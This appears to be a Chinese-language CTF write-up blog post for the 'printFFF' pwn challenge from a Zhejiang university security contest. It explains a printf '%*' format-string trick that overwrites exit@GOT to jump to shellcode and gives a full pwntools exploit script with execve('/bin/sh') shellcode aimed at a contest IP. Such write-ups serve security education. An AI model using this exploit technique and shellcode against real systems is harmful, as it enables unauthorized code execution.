第七届浙江省大学生网络与信息安全竞赛 决赛 - printFFF

RocketDev

what about "*" print?

文件属性

属性
Arch amd64
RELRO Partial
Canary on
NX on
PIE off
strip yes

解题思路

程序一开始向rwx的bss上读入一段shellcode,只有21字节。 然后输入2个值和写指针类型。设置第一个值为0x5000,第二个值为0x404040(exit@GOT), 在设置第三个值为2,这样最后printf运行结果是将0x5000作为宽度打印字符, 然后认为0x404040short *,将0x5000写入进去。

1
2
3
4
5
printf("%*6$c%7$n", ?, ?, ?, ?, ?, 2, 0x5000, 0x404040)
==
printf("%20480c%7$hn", ...)

exit@GOT => 0x401080(.plt) -> 0x405000(.bss)

退出时由于exit@GOT处写了0x405000,即shellcode的起始地址, 就会运行到shellcode。经检查,rdx是0,可以省去xor edx, edx,使得shellcode短于21字节, 拿到shell。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './printFFF'

def payload(lo: int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh, 'b *0x405000')
else:
sh = remote('10.1.101.103', 9999)
elf = ELF(EXE)
shell = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
push 0x3b
pop rax
syscall
'''
sh.send(asm(shell))
if lo & 2:
pause()
else:
sleep(0.125)
sh.send(p64(0x5000) + p64(elf.got['exit']) + p64(2))

sh.clean()
sh.interactive()
sh.close()

flag

  • 标题: 第七届浙江省大学生网络与信息安全竞赛 决赛 - printFFF
  • 作者: RocketDev
  • 创建于 : 2025-02-20 22:51:00
  • 更新于 : 2026-03-27 15:59:00
  • 链接: https://rocketma.dev/2025/02/20/printFFF/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
第七届浙江省大学生网络与信息安全竞赛 决赛 - printFFF